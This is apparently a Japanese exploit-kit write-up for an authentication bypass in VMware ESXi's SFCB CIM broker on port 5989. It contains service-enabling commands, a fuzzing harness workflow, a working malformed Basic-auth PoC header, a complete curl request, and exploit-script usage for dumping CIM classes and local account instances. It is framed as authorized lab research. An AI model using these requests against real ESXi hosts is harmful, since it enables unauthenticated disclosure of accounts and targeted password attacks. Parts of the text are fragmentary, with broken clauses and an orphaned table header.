
| フィールド | 値 |
|---|---|
| 種別 | CWE-287 不適切な認証(認証バイパス) |
| コンポーネント | VMware ESXi 内の SFCB (Small Footprint CIM Broker) |
| 攻撃ベクトル | ネットワーク、TCP 5989 (CIM-XML over HTTPS)、"特別に細工されたリクエスト" |
| 影響を受ける | VMSA-2021-0014 (2021年7月) 以前の ESXi 6.5 / 6.7 / 7.0 |
| 修正 | VMSA-2021-0014 パッチビルド |
| 公開PoC | なし。 VMware はリクエストの形状を開示していない |
参照: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
PoCが存在しないため、このキットは自己探索型ハーネスです: sfcb_probe.py
はオラクル(check)を検証し、ターゲットを絞ったミューテーションディクショナリを
/cimom(fuzz)に投げ、有効な資格情報なしで得られた200+CIMボディを
フラグします。
自分のラボVM、または明示的に認可された エンゲージメントスコープ内のターゲットに対してのみ使用すること。
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
バイパスが発見された。根本原因: Basic認証トークンが
「:」を含む user:password ペアにデコードされない場合、sfcbd はフェイルオープンする。
最小限のPoCヘッダー(root のbase64、コロンなし):
Authorization: Basic cm9vdA==
ファズ実行によるエビデンスマトリクス:
200レスポンスは、CIMOM 内部でディスパッチされたCIM-XMLエンベロープを返します
(例: ERROR CODE="5" Class not found)。これにより、HTTP認証レイヤーが
通過されたことが証明されます — 不正なヘッダーなしの同一リクエストは401を返します。
エクスプロイトの使用法:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
レポートのスクリーンショット用curlワンライナー:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
影響: CIMブローカーへの未認証の読み取りアクセス:
VMware_Identity インスタンスは、ESXi のローカル
アカウントをすべて漏えいします(ラボ6.5で確認: root、dcui、vpxuser — vCenter管理
ホスト — に加え、カスタムユーザー)。これにより、標的型パスワード攻撃が可能になります。VMware_RoleBasedAuthorizationService、
CIM_PrivilegeManagementService)はDMTFプロファイルメソッド
(AssignRoles、AssignAccess、...)を宣言していますが、インスタンスを公開していません —
メソッドはスキーマのみです。CIM経由のアカウント作成/変更は
このCVEでは不可能です。影響の上限は未認証の情報
開示です。判定:
BYPASS-STRONG — 有効な資格情報なしでHTTP 200 + CIM-XMLボディ → バイパスを発見
したことになります。ダンプされたリクエストがエクスプロイトのプリミティブです。bypass-weak(200-no-cim-body) — 200だがCIMボディなし。ダンプを調査してください。blocked / info(400) — 拒否。注: 400は通常、リクエストが
認証評価の前に失敗したことを意味します — まだ興味深いですが、バイパスではありません。手作りCIMボディに関する注意: DSP0200 によれば、EnumerateInstanceNames は
ClassName IPARAMVALUE を必須とします。これがないボディは、認証とは無関係の理由で拒否され、
オラクルを汚染する可能性があります — ハーネスは常に
仕様に正しいボディを送信します。
ファザーは、古典的なHTTP認証パーサーの混乱形状をカバーしています。どれもヒットしない場合、 残る(そして決定的な)方法はバイナリ差分です:
esx-base VIB と、
VMSA-2021-0014パッチ適用済みの6.5/6.7/7.0ビルドをVMwareの公開デポインデックスから取得します:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar アーカイブ → vib ペイロード → cpio)、
Ghidra + BinDiff を使用して sfcbd* バイナリを差分します。sfcb)は、
HTTP+認証コードパスの構造上の参考として有用です。ESXiのフォークが
変更されていても同様です。| リクエスト形状 | ステータス | 意味 |
|---|
ヘッダーなし / 有効な user:pass のb64 / : / root: | 401 | コロンあり → 認証実行 → 拒否 |
b64("root") (コロンなし) | 200 + CIM body | コロンなし → 認証スキップ |
b64("\0:\0") (空のC文字列) | 200 | 同様: コロンなし |
無効なbase64(スペース / BOM / Basic プレフィックス) | 200 | デコード失敗 → 認証スキップ |
Basic\tTOKEN (タブ区切り) | 401 | 任意のWSP分割でも正しく解析される → 認証実行 |
Basic␣␣TOKEN (ダブルスペース) | 200 | 単一スペース分割 → トークンがスペースで始まる → デコード失敗 |